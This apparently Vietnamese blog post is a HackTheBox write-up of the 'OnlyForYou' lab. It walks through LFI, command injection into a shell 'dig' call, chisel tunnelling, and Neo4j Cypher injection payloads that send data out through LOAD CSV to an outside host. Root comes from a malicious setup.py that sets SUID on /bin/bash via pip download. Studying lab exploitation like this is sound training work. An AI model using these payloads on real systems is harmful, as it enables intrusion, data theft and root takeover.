Skip to main content

Command Palette

Search for a command to run...

[HTB] OnlyForYou

Updated
[HTB] OnlyForYou

Có lẽ HackTheBox không còn quá xa lạ đối với ae security. Một nền tảng hữu ích để cho anh em trong nghề luyện tay cũng như học hỏi thêm kiến thức mới. Nhiều khi cũng gắp mấy bài rối não chỉ muốn chửi thề xD. Do khá thích htb nên mình quyết định viết một series các bài writeup (bao giờ ra bài tiếp thì mình không biết :v) để chia sẻ cũng như gói gọn lại những gì mình đã học được.

Mở đầu là bài lab Only4You ở mức độ medium. Cá nhân mình thấy bài này khá hay khi kết hợp nhiều kiến thức và cũng không quá khó để khai thác.

Recon

Như mọi bài lab, đầu tiên sử dụng nmap để scan các port đang sử dụng.

Quét được 2 port là 22(SSH) và 80(Web).

Kịch bản quen thuộc của các bài lab htb đó là khai thác các lỗ hổng nằm trong website, sau đó thu thập thông tin của victim để đăng nhập ssh, sau đó leo thang đặc quyền lên quyền root.

Ngoài ra thu thập được domain name của lab là only4you.htb.

Một cách khác để kiểm tra domain name từ một địa chỉ IP (nếu có).

Sau khi có đủ thông tin ban đầu, thêm domain và ip vào file /etc/hosts.

$ echo "10.10.11.210 only4you.htb" >> /etc/hosts

Việc thêm dòng 10.10.11.210 only4you.htb vào /etc/hosts có nghĩa khi bạn truy cập only4you.htb hệ điều hành sẽ ánh xạ tên miền này đến địa chỉ IP 10.10.11.210. Điều này cho phép bạn truy cập đến only4you.htb trên máy chủ cục bộ của bạn mà không cần dựa vào một máy chủ DNS bên ngoài.

Đầu tiên dạo quanh một vòng trang web.

Tuy nhiên sau một hồi mò mẫm thì mình không tìm ra thông tin gì thú vị, hay chức năng đặc biệt nào cả. Vậy nên mình sẽ thử rò quét subdomain xem.

$ ffuf -u <http://only4you.htb> -H "Host: FUZZ.only4you.htb" -w /usr/share/wordlists/amass/subdomains-top1mil-20000.txt -fc 301

        /'___\\  /'___\\           /'___\\       
       /\\ \\__/ /\\ \\__/  __  __  /\\ \\__/       
       \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\      
        \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/      
         \\ \\_\\   \\ \\_\\  \\ \\____/  \\ \\_\\       
          \\/_/    \\/_/   \\/___/    \\/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : <http://only4you.htb>
 :: Wordlist         : FUZZ: /usr/share/wordlists/amass/subdomains-top1mil-20000.txt
 :: Header           : Host: FUZZ.only4you.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response status: 301
________________________________________________

[Status: 200, Size: 2191, Words: 370, Lines: 52, Duration: 215ms]
    * FUZZ: beta

Tìm được một subdomain là beta Thêm nó vào /etc/hosts và xem trang web này có gì hay ho không.

$ echo "10.10.11.210 beta.only4you.htb" >> /etc/hosts

Trong trang web có 2 chức năng: Return back sẽ chuyển hướng trang web về trang trước đó. Còn chức năng Source Code sẽ cho phép người dùng tải mã nguồn của trang web xuống dưới dạng file zip.

Tải source code về và phân tích.

$ unzip source.zip

Đầu tiên trong file app.py. Mình để ý đến đoạn khai báo sau.

Như vậy có 3 chức năng chính ở trong trang web này.

Đọc code tiếp một đoạn thì mình để ý đoạn sau.

Đại loại là khi tải một bức ảnh về, thì sẽ gọi đến route /download. Tại đây có một hàm if để detect ký tự .. dùng để phòng chống Path Traversal, nếu trong param image có ký tự .. xuất hiện hay filename bắt đầu bằng ../ thì nó sẽ chuyển hướng về /list ngay lập tức.

Vậy nếu mình không sử dụng ký tự trên mà nhập trực tiếp tên các file hệ thống ??

Giao diện /list

Ấn tải một ảnh bất kỳ, dùng BurpSuite để bắt request này lại và chỉnh sửa.

Thử với /etc/passwd thì mình truy cập và đọc thành công file =)))

Như vậy đã có lỗi LFI ở đây. Tiếp đến mình cần đọc các file nào đó để kiếm thêm thông tin.

Dựa vào công cụ Wappalyzer mình biết được đây là một máy chủ Nginx, nên mình sẽ đọc tệp cấu hình của nginx xem

Đường dẫn của trang web được tìm thấy trong /etc/nginx/sites-enabled/default.

Để ý trong source của beta.only4you.htb có file app.py nên mình đoán rằng ở domain chính cũng sẽ có một file tương tự. Có được cấu hình rồi nên file sẽ có đường dẫn như sau: /var/www/only4you.htb/app.py

from flask import Flask, render_template, request, flash, redirect
from form import sendmessage
import uuid

app = Flask(__name__)
app.secret_key = uuid.uuid4().hex

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        email = request.form['email']
        subject = request.form['subject']
        message = request.form['message']
        ip = request.remote_addr

        status = sendmessage(email, subject, message, ip)
        if status == 0:
            flash('Something went wrong!', 'danger')
        elif status == 1:
            flash('You are not authorized!', 'danger')
        else:
            flash('Your message was successfuly sent! We will reply as soon as possible.', 'success')
        return redirect('/#contact')
    else:
        return render_template('index.html')

@app.errorhandler(404)
def page_not_found(error):
    return render_template('404.html'), 404

@app.errorhandler(500)
def server_errorerror(error):
    return render_template('500.html'), 500

@app.errorhandler(400)
def bad_request(error):
    return render_template('400.html'), 400

@app.errorhandler(405)
def method_not_allowed(error):
    return render_template('405.html'), 405

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=80, debug=False)

Phân tích đoạn code trên một chút. Chúng ta có một route cho trang chủ ('/') của ứng dụng. Đoạn mã được xử lý khi có các phương thức HTTP là GET hoặc POST được gửi đến route này. Nếu là phương thức POST, trang web sẽ lấy các giá trị từ các trường có tên 'email', 'subject', 'message' được gửi lên và lưu trữ chúng trong các biến tương ứng. Sau đó sẽ sử dụng hàm sendmessage để gửi thông điệp. Biến status lưu trữ kết quả trả về từ hàm sendmessage().

Để ý rằng hàm sendmessage() được import từ file form, nên mình sẽ đọc nội dung file này để phân tích tiếp.

/var/www/only4you.htb/form.py

import smtplib, re
from email.message import EmailMessage
from subprocess import PIPE, run
import ipaddress

def issecure(email, ip):
    if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\\.[A-Z|a-z]{2,})", email):
        return 0
    else:
        domain = email.split("@", 1)[1]
        result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
        output = result.stdout.decode('utf-8')
        if "v=spf1" not in output:
            return 1
        else:
            domains = []
            ips = []
            if "include:" in output:
                dms = ''.join(re.findall(r"include:.*\\.[A-Z|a-z]{2,}", output)).split("include:")
                dms.pop(0)
                for domain in dms:
                    domains.append(domain)
                while True:
                    for domain in domains:
                        result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
                        output = result.stdout.decode('utf-8')
                        if "include:" in output:
                            dms = ''.join(re.findall(r"include:.*\\.[A-Z|a-z]{2,}", output)).split("include:")
                            domains.clear()
                            for domain in dms:
                                domains.append(domain)
                        elif "ip4:" in output:
                            ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
                            ipaddresses.pop(0)
                            for i in ipaddresses:
                                ips.append(i)
                        else:
                            pass
                    break
            elif "ip4" in output:
                ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
                ipaddresses.pop(0)
                for i in ipaddresses:
                    ips.append(i)
            else:
                return 1
        for i in ips:
            if ip == i:
                return 2
            elif ipaddress.ip_address(ip) in ipaddress.ip_network(i):
                return 2
            else:
                return 1

def sendmessage(email, subject, message, ip):
    status = issecure(email, ip)
    if status == 2:
        msg = EmailMessage()
        msg['From'] = f'{email}'
        msg['To'] = 'info@only4you.htb'
        msg['Subject'] = f'{subject}'
        msg['Message'] = f'{message}'

        smtp = smtplib.SMTP(host='localhost', port=25)
        smtp.send_message(msg)
        smtp.quit()
        return status
    elif status == 1:
        return status
    else:
        return status

Ngay khi đọc file thì đập thẳng mắt mình đoạn lệnh.

domain = email.split("@", 1)[1]
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
output = result.stdout.decode('utf-8')

Domain sẽ được lấy sau ký tự @ được lấy từ tham số email gửi ở trên, sau đó sử dụng lệnh dig để lấy thông tin tên miền.

shell=True: Điều này cho phép chạy lệnh trong shell, cho phép sử dụng các tính năng của shell như các biến môi trường hoặc các lệnh được thiết lập trước đó. Rõ ràng ở đây đang thực thi một lệnh shell và đưa kết quả vào biến result tuy nhiên không có biện pháp nào để lọc hay kiểm tra giá trị đầu vào của email. Nên ta hoàn toàn có thể lợi dụng nó để khai thác lỗi Command Injection.

RCE

Sử dụng BurpSuite tạo ra một POST request với các tham số như trong file app.py.

Để xác minh có lỗi Command Injection hay không, mình sẽ thử curl đến server của mình trước để kiểm tra kết nối.

Có request được gửi đến, như vậy chắc chắc có lỗi xảy ra, tiếp theo mình sẽ tạo một revshell để kết nối đến máy nạn nhân.

Ban đầu mình có gặp lỗi không thể tạo shell để truy cập.

Loay hoay một hồi thì mình quay sang tạo một script revshell khác bằng python thì đã tạo thành công ( Lúc này hơi cấn cần vì không biết lỗi trên tại sao nên mình đã tắt xừ lab đi và khởi động lại, thế quái nào lại không bị lỗi nữa =)))) ).

Sau khi kết nối shell xong thì mình sẽ xem trên server có những gì.

Ở đây mình chú ý đến hai file chisel_1.8.1_linux_amd64linpeas.sh.

Cho những ai chưa biết, chisel_1.8.1_linux_amd64 là một tệp thực thi được viết bằng Golang. Đây là phiên bản 1.8.1 của công cụ Chisel. Chisel là một công cụ được sử dụng để tạo và quản lý các kênh truyền dữ liệu an toàn qua mạng. Nó hoạt động dựa trên giao thức HTTP và cho phép tạo ra các kênh truyền dữ liệu được mã hóa và ẩn danh giữa các máy tính hoặc mạng khác nhau. Nói dễ hiểu hơn thì trong bài này nó sẽ có công dụng thay thế cho SSH port forwarding khi chưa tìm được thông tin để ssh.

Còn linpeas.sh là một tệp script được sử dụng trong môi trường hệ điều hành Linux để thực hiện việc kiểm tra và phân tích các vấn đề bảo mật và cấu hình trên máy chủ hoặc hệ thống Linux. Tệp script này được thiết kế để tìm kiếm các cấu hình không an toàn, quyền truy cập sai, các lỗ hổng bảo mật có thể có và cung cấp cho người dùng một báo cáo tổng quan về tình trạng bảo mật của hệ thống.

Chạy file linpeas.sh và phân tích các kết quả trả về. Ở đây mình chú ý đến các port đang được mở trên localhost. Có lẽ sẽ có gì đó vui vui trong đống này, vì thế nên mới cung cấp cho mình chisel chăng :v

💡
Trong trường hợp mở máy không có 2 file trên, bạn có thể sử dụng netstat -ntlp để kiểm tra các kết nối mạng và cổng đang hoạt động trên máy chủ. Và tải chisel ở đây: https://github.com/jpillora/chisel/releases

Trước tiên chạy chisel trên máy kali ở chế độ server, lắng nghe ở cổng 8000. Tùy chọn --reverse xác định rằng máy khách sẽ khởi tạo kết nối đến máy chủ Chisel thay vì máy chủ Chisel khởi tạo kết nối đến máy khách.

$ ./chisel_1.8.1_linux_amd64 server -p 8000 --reverse

Sau đó ở máy nạn nhân chuyển các port tìm được ở trên về localhost của mình ( Để hiểu thêm về đoạn này, b nên đọc thêm về cơ chế của SSH Port forwarding).

$ ./chisel_1.8.1_linux_amd64 client 10.10.14.49:8000 R:3000:127.0.0.1:3000 R:8001:127.0.0.1:8001 R:7474:127.0.0.1:7474 R:3306:127.0.0.1:3306

Kiểm tra các port vừa forward về thì mình để ý đến port 8001. Mở lên sẽ có một form để đăng nhập. Và như một thói quen, mình nhập admin/admin trước khi test các lỗi khác, và nó đăng nhập được thật =))) ( Hay không bằng hên :v).

Xem qua trang web thì thấy dòng sau.

Như vậy đã xác định được database là Neo4j (hệ quản trị cơ sở dữ liệu đồ thị).

Ngoài ra mình tìm thêm được một thanh search ở EMPLOYEE. Một thanh search thì sẽ thường xảy ra các lỗi gì. XSS? SQLi?. Trong trường hợp này thì mình nghiêng về SQL injection hơn.

Search lòng vòng một hồi thì mình có tìm thấy một bài khá hay về việc khai thác injection trên neo4j.

Do chưa có kiến thức nhiều về neo4j nên mình sẽ không giải thích nhiều đoạn này, biết đâu chém sai lại bị gõ đầu mất :v

Đầu tiên là dump ra version của máy chủ.

' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http:///?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //

Tiếp đến liệt kê các labels hiện có.

'OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM '<http://10.10.14.49:80/?label='+label> as l RETURN 0 as _0 //

Xuất hiện một labels user. Có lẽ đây là labels lưu thông tin của người dùng.

' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM '<http://10.10.14.49:80/?'> + p +'='+toString(f[p]) as l RETURN 0 as _0 //

Kết quả nhận được 2 user là admin và john, cùng với 2 mã hash password của 2 user đó. Quay trở lại với bước khai thác LFI ban đầu, khi đọc tệp /etc/passwd thì mình có thấy user john xuất hiện. Như vậy mình xác định được đây là user tồn tại trong hệ thống và có thể dùng để đăng nhập ssh, và giờ mình cần giải mã đoạn hash để lấy về password.

Mã hash của john : a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6

Vậy đã có đầy đủ thông tin, tiếp đến ssh thôi.

$ ssh john@10.10.11.210

Vào được server rồi thì trước tiên lụm user flag đã xD.

Privilege Escalation

Việc tiếp theo là tìm cách leo thang đặc quyền lên quyền root.

Kiểm tra các quyền sudo của user john trong hệ thống, nhận thấy user này có thể tải mọi file tar.gz bằng pip3 từ 127.0.0.1:3000.

Ở đây mình để ý đến pip download, có lẽ mn đã quá quen với pip install để cài đặt các package Python từ PyPi, còn pip download thì sao, nó khác gì với install và có thể khai thác gì từ nó.

pip download khá giống với pip install, tuy nhiên thay vì cài đặt các dependencies thì pip download thu thập các phiên bản đã tải xuống vào thư mục chỉ định (mặc định là thư mục hiện tại). Thư mục này sau đó có thể được truyền làm giá trị cho pip install --find-links để hỗ trợ việc cài đặt gói trong môi trường không có kết nối mạng hoặc bị hạn chế.

Sau khi clear hơn về chỗ này rồi thì mình tìm hiểu xem nó có thể bị khai thác không.

Và mình tìm thấy một bài khá hay về khai thác pip downloadcode khai thác của tác giả.

Sửa lại script một chút để phù hợp với mục tiêu khai thác hiện tại. Ở đây mình sẽ chạy lệnh để cấp SUID cho /bin/bash, khi download với quyền sudo, thì /bin/bash sẽ có SUID của root. Như vậy khi thực thi /bin/bash ta sẽ tạo ra được bash shell của root.

from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info
import os

def RunCommand():
    print("exploit")
    os.system("chmod +s /bin/bash")

class RunEggInfoCommand(egg_info):
    def run(self):
        RunCommand()
        egg_info.run(self)

class RunInstallCommand(install):
    def run(self):
        RunCommand()
        install.run(self)

setup(
    name = "this_is_fine_wuzzi",
    version = "0.0.1",
    license = "MIT",
    packages=find_packages(),
    cmdclass={
        'install' : RunInstallCommand,
        'egg_info': RunEggInfoCommand
    },
)

Chạy lệnh đóng gói script thành tệp tar.gz.

$ pip3 install setuptools build

Sau khi tạo thành công sẽ tạo ra thư mục ./dist/ chứa các tệp whl và tar.gz.

Và bây giờ điều mình cần làm tiếp theo là upload tệp tar.gz vừa tạo lên localhost ở port 3000.

Vì ở trước đó mình có forward port này về máy nên sẽ truy cập vào trang web.

Đăng nhập với user john, ta có thể thấy đây là một trang web tương tự github vậy. Như vậy ta có thể tải tệp vừa tạo lên một repo và nó có thể truy cập từ 127.0.0.1:3000 rồi.

Ban đầu mình sử dụng luôn repo Test có sẵn trong tài khoản của john, up file vừa tạo lên, nhưng khi khai thác thì lại đỏ lòm xD.

Kiểm tra lại thì mình thấy repo Test có một khóa private, nên có lẽ lỗi sinh ra từ đây.

Vậy nên mình sẽ tạo một repo khác để khai thác.

Đầu tiên trong website Gogs, tạo một repo mới với tên Zec0.

Tại máy john, tạo một folder với tên Zec0.

$ john@only4you:~$ mkdir Zec0 && cd Zec0

Di chuyển file this_is_fine_wuzzi-0.0.1.tar.gz vừa tạo vào thư mục này.

Tiếp đến remote tới repo vừa tạo và upfile đó lên repo.

$john@only4you:~/Zec0$ git init
Initialized empty Git repository in /home/john/Zec0/.git/
$ john@only4you:~/Zec0$ git remote add origin http://127.0.0.1:3000/john/Zec0.git
$ john@only4you:~/Zec0$ git add .
$ john@only4you:~/Zec0$ git commit -m "aa"                        
[master (root-commit) 0d5f518] aa
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 this_is_fine_wuzzi-0.0.1.tar.gz
$ john@only4you:~/Zec0$ git push -u origin master
Enumerating objects: 3, done.
Counting objects: 100% (3/3), done.
Delta compression using up to 2 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 2.92 KiB | 2.92 MiB/s, done.
Total 3 (delta 0), reused 0 (delta 0)
Username for 'http://127.0.0.1:3000': john
Password for 'http://john@127.0.0.1:3000': 
To http://127.0.0.1:3000/john/Zec0.git
 * [new branch]      master -> master
Branch 'master' set up to track remote branch 'master' from 'origin'.

Như vậy đã up file thành công, bây giờ chỉ cần sử dụng pip download để tải nó lại về thôi.

$ sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/Zec0/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz

Kiểm tra lại thì có thể thấy /bin/bash đã được cấp quyền SUID thành công. Giờ leo lên root, lấy nốt root flag về và submit thôiiiii.

Tổng kết

Như vậy mình đã hoàn thành xong một bài medium trên hackthebox. Một bài khá dài cùng với kết hợp sử dụng nhiều kỹ thuật để khai thác. Và cũng tốn kha khá thời gian vò đầu bứt tai để làm xD. Mong mọi người sẽ đóng góp để mình hoàn thiện bài viết hơn.

More from this blog

B

BlueCyber's blog

37 posts